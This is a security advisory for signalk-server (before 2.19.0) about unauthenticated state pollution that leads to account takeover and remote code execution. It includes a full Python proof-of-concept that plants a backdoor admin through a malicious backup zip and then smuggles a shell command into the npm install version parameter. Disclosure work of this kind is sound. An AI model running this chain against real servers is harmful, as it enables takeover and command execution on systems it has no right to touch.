GHSA-w3x5-7c4c-66p9 Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)

• npm signalk-server: < 2.19.0 → fixed in 2.19.0

Summary An unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE). Details The vulnerability is caused by the use of a module-level global variable `restoreFilePath` in `src/serverroutes.ts`, which is shared across all requests. Vulnerable Code Analysis: 1. Global State: `restoreFilePath` is defined at the top level of the module. ```typescript // src/serverroutes.ts let restoreFilePath: string ``` 2. Unauthenticated State Pollution: The `/skServer/validateBackup` endpoint updates this variable. Crucially, this endpoint lacks authentication middleware, allowing any user to access it. ```typescript app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => { // ... handles file upload ... restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path }) ``` 3. Restore Hijacking: The `/skServer/restore` endpoint uses the polluted `restoreFilePath` to perform the restoration. ```typescript app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => { // ... const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path // ... }) ``` Exploit Chain: 1. Pollution: Attacker uploads a malicious zip file to `/validateBackup`. The server saves it and updates `restoreFilePath` to point to this malicious file. 2. Hijacking: When `/restore` is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files. 3. Backdoor: The attacker overwrites `security.json` to add a new administrator account. 4. RCE: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (`/skServer/appstore/install/...`) to execute arbitrary system commands (e.g., `npm install` injection). PoC Here is a complete Python script to reproduce the full exploit chain. ```python import requests import zipfile import io import json import time Configuration TARGET_URL = "http://localhost:3000" BACKDOOR_USER = "hacker" BACKDOOR_PASS = "hacked1234" def step1_plant_backdoor(): print("[*] Step 1: Planting Backdoor via State Pollution...") # 1. Create malicious zip with security.json zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w') as z: # Add backdoor admin user security_config = { "users": [{ "username": BACKDOOR_USER, "password": BACKDOOR_PASS, "permissions": "admin" }] } z.writestr("security.json", json.dumps(security_config)) # Enable security to make the backdoor effective z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}})) zip_buffer.seek(0) # 2. Pollute State (Unauthenticated) print(" [+] Sending malicious backup to /validateBackup...") res = requests.post(f"{TARGET_URL}/skServer/validateBackup", files={'file': ('malicious.zip', zip_buffer, 'application/zip')}) if res.status_code != 200: print(" [-] Failed to pollute state.") return False # 3. Trigger Restore (Hijacking) print(" [+] Triggering restore to overwrite server config...") # Note: In a real attack, if /restore is protected, attacker waits for admin to use it. # Here we assume we can trigger it or security is currently off. res = requests.post(f"{TARGET_URL}/skServer/restore", json={"security.json": True, "settings.json": True}) if res.status_code in [200, 202]: print(" [+] Restore triggered successfully. Backdoor planted.") print(" [!] PLEASE RESTART THE SERVER to load the new configuration.") return True else: print(f" [-] Restore failed: {res.status_code} {res.text}") return False def step2_execute_rce(): print("\n[*] Step 2: Executing RCE as Backdoor User...") # 1. Login session = requests.Session() login_payload = {"username": BACKDOOR_USER, "password": BACKDOOR_PASS} res = session.post(f"{TARGET_URL}/signalk/v1/auth/login", json=login_payload) if res.status_code != 200: print(" [-] Login failed. Did you restart the server?") return token = res.json()['token'] print(" [+] Login successful. Authenticated as Admin.") # 2. RCE Payload (Windows Example) # Injecting command into version parameter of npm install # Command: echo RCE_SUCCESS > rce_proof.txt cmd_payload = "1.0.0 & echo RCE_SUCCESS > rce_proof.txt &" # We need a valid package name to bypass existence check package_name = "@signalk/freeboard-sk" print(f" [+] Sending RCE payload: {cmd_payload}") headers = {'Authorization': f'Bearer {token}'} try: session.post(f"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}", headers=headers, timeout=5) except: pass # Timeout is expected as the command might hang or take time print(" [+] Payload sent. Check for 'rce_proof.txt' in server root.") if __name__ == "__main__": # Run Step 1, then restart server manually, then Run Step 2 # step1_plant_backdoor() step2_execute_rce() ``` Impact Remote Code Execution (RCE), Account Takeover, Denial of Service. Verified: RCE is demonstrated by creating a file named `rce_proof.txt` containing the text "RCE_SUCCESS" on the server filesystem using the exploit chain.